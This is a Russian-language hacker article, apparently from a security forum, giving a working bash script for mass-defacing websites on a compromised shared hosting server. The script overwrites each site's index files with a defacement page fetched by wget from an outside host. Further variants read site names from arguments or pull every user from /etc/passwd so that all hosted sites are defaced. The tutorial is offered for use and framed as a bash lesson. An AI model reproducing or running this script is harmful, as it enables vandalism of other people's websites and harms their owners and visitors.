| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 3.147.8.46
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 php libc rand() эксплоит Windows Server 2008 FreeBSD Jail Elastix QIP Virtual chroot Limit kernel proc sysctl Tune freeBSD bridge Boot LiveCD Disk Bluetooth GEO game DirectX emulator Python Shell червь Conficker вирус троян лаборатория касперского пиратство Apple iPhone Microsoft twitter социальная сеть анонимность лицензия Open Source уязвимость MySQL база данных Закон Франция Пират Skype мобильный Deutsche Telekom хакер trend micro кибератака Германия робот Персональные данные Ноутбук Интернет китай цензура windows vista acer Linux патент браузер Firefox Internet Explorer Opera Safari Intel Oracle патч Банкомат IBM США Dell Ford MAC контроль Internet кибербезопасность приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 взлом Пентагон Украина Facebook Cisco Cloud Windows XP нетбук торрент музыка Биометрический Nokia Hardware Manager ФБР IP-адрес sms RSA java Google Captcha Symantec Спам Антивирус тест Anti-Malware Windows 7 операционная система windows провайдер авторское право rapidshare UNIX свиной грипп шантаж Дети ipod копирайт McAfee HTTPS icann студент Норвегия New York Times YouTube Warner Music КНДР Ubuntu AMD ATI касперский Россия РФ сервер хостинг Wi-Fi суд пароль блог фишинг одноклассники Медведев контрафакт мошенник sony Gps по JavaScript Хакеры Yahoo фас компьютер софт Минкомсвязи Сбой мошенничество Доктор ВЕб Вконтакте ie8 исходный код МВД фильтр порнография свобода слова казахстан Autodesk сисадмин Gmail кредитная карта LiveJournal шифрование Deep Purple банк HTML5 Нанотехнологии wikipedia выборы DNS bind KaZaA Android Basic атака Mac OS X домен ФСБ прокуратура уголовное дело ICQ Sophos Google Voice ошибка DARPA военные сайт турция конференция спамер Полиция Koobface Великобритания IRC белоруссия Грузия Bittorrent Европа Dr.WEB Linux Mint Билл Гейтс спецслужбы Royal Bank of Scotland смартфон Canonical F-Secure Symbian фильм Microsoft Office Новая Зеландия Adobe Австралия IDC Internet Explorer 9 iPad Ирландия поиск GOOGLE EARTH МТС Реклама слежка Mandriva BSD Zeus личные данные eset avast Avira G Data Software защита Defcon виртуализация dll LibreOffice Черный список BlackBerry индия Москва DVD социальные сети flash player paypal BitDefender email сертификат honda MasterCard Anonymous технологии IPv6 Ассанж Оптоволокно передача данных арест Fedora Samsung Иск Apache учетная запись iTunes исследование Cert Санкт-Петербург McDonald's SOPA PIPA Bioshock Infinite: Burial at Sea - ico Megaupload CES hotfile отчет приложение Инвестиции платформа DRM DDoS-атака роскомнадзор

Главная » Статьи » Общие Статьи

Пишем скрипт для MASS DEFACING

Сперва мы хотели просто выложить скрипт для массового изменения первых страниц сайтов на взломанном хостинге, но тут возникла необходимость в коментариях к скрипту, которые оказались больше, чем сам скрипт =)
Да, к тому же, нюансы каждого отдельного случая требуют дополнительного перекроя программы. Поэтому мы решили просто показать, как можно самому написать подобный скрипт.

Итак, перед нами задача: задефейсить сразу и много сайтов на одном хостинге (как получить для этого соответствующие права - не тема нашей статьи).
Входные данные:
- мы имеем возможность писать в папки всех юзеров;
- мы знаем какие сайты мы будем дефейсить, а какие нет (мы же не вандалы, чтоб дефейсить сайты безобидных домашних страничек);
- пусть имена каталогов сайтов будут site1, site2, site3...;
- из конфига апача мы узнали, что файлы сайтов хранятся в директориях типа: /home/site1/htdocs.

Ну, к делу!
На чем будем писать?
Что за вопрос? Какой родной язык для юникс-лайк систем? BASH!
Вот на нем и будем писать - уж достоверно будем знать, что наш скрипт в системе запустится =)

В начале скрипта принято указывать так называемый "ша-банг" - путь к командному интерпретатору. Рисуем наш Ша-Банг (хотя, можно и без него) и дальше по тексту (все читаем в коментариях к скрипту, которые в bash отделяются символом "#"):

#!/bin/bash
########################################
# Теперь нам нужно в коментариях добавить #
# наш копирайт, или гритс/факс -                   #
# короче, что-то нарисовать надо,               #
# а то как узнать, что это наш скрипт? =) #
####################################
# Зададим директорию, в которой хранятся файлы.
# В нашем примере это "htdocs/".
# Если таковой нет, укажем просто слеш "/"
IND_DIR=/htdocs/
#зададим расширение для бекапа индекса (помните: мы же не вандалы!):
P_BKP=".bkp"
#указываем путь к главной директории, где все наши сайты и размещаются:
DP_HOME=/home/
# Укажем и путь к файлику с нашим дефейсом,
# который мы уже успели закачать,
# скажем так: wget -O /tmp/def.html http://gipshack.ru/index.htm
DEF=/tmp/def.html
#дальше, все будет происходить в цикле:
#имена сайтов будут браться в качестве переменной SITE из значений,
#которые мы укажем вместо наших site1 site2 и site3

for SITE in "site1" "site2" "site3"
do
CD_DEF=`echo "${DP_HOME}${SITE}${IND_DIR}"` #формируем имя директории
cd ${CD_DEF} #сайта и переходим в нее
#Так, теперь задаем возможные имена файлов индекса
for FILE in index.html index.php index.htm index.shtml index.shtm
  do
   FILE_BKP=`echo "${FILE}${P_BKP}"`
   if [ -e "$FILE" ] #проверяем, есть ли такой файл
    then
    cp "${FILE}" "${FILE_BKP}" #Если да, то делаем бекап
    echo "Defacing $FILE in $CD_DEF"
    cat "${DEF}" > "${FILE}" #И заменяем индекс на наш дефейс
        continue
       fi
    done
done
exit 0

Сохраняем скрипт на сервере с именем, скажем, massdef.sh, даем ему права на выполнение:
chmod 0755
и запускаем:
./massdef.sh
Или просто запускаем через командный интерпретатор (в этом случае нам не нужен Ша-Банг):
bash massdef.sh
Ну вот, и все. Скриптик отчитается нам какие файлы и в каких директориях он заменил.
Что можно еще придумать?

Несколько полезностей на любителя.
1. Можно сделать вариант с вводом имен папок сайтов в командной строке как аргументов скрипта.
Для этого мы меняем цикл, который получает значения переменной SITE.
Собственно, перебор входных аргументов можно организовать при помощи команды shift:

until [ -z "$1" ] # Выполняем цикл, пока есть аргумент
 do
 SITE=$1 # Присвоим значение первого аргумента переменной SITE
# А здесь выполним то, что у нас было от "CD_DEF="
# и до первого "done"
 shift # Сдвигаем аргументы на 1
done

Тогда наш скрипт будем запускать где-то так:
./massdef.sh site1 site2 site3

2. Если имена директорий для переменной SITE совпадают с именами пользователей системы (такое бывает часто), и мы хотим все их задефейсить (пример с порнушным хостингом), то можно брать имена пользователей из файла /etc/passwd.
Нам поможет прикольная команда cut. Она предназначена для извлечения отдельных элементов (полей) из текстовых файлов.
Команда имеет два основных ключа:
-d для указания разделителя полей (в нашем случае будем использовать двоеточие ':')
-f для указания номера поля.
Таким образом, для выборки имени пользователя /сайта (в нашем примере) из файла паролей, можно воспользоваться такой конструкцией:

FILENAME=/etc/passwd

for SITE in $(cut -d: -f1 $FILENAME)
do
# А здесь вставим стандартные наши процедуры определения
# полного пути к директории и дальнейшей дефейс-акции
done # и завершаем цикл.

На этом пока все.
Надеемся, что эта статья станет для кого-то началом в изучении интересного языка программирования bash =)

Категория: Общие Статьи | Добавил: aka_kludge (20.09.2008) | Автор: GipsHackers Crew
Просмотров: 1873 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

13:00
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2025 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика